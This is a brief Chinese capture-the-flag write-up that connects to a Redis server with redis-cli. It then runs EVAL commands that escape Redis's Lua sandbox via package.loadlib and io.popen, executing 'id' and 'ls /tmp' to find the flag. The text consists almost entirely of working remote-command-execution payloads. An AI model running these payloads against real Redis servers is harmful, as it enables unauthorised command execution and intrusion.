作者:lock2502898047_947 | 来源:互联网 | 2023-09-16 22:38
所需工具:redis-cli执行命令redis-cli.exe-h123.58.224.8-p60721执行命令获取idevallocalio_lpackage.loadlib(u
所需工具:
redis-cli
执行命令
redis-cli.exe -h 123.58.224.8 -p 60721
执行命令获取id
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
执行命令ls /tmp获取flag
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0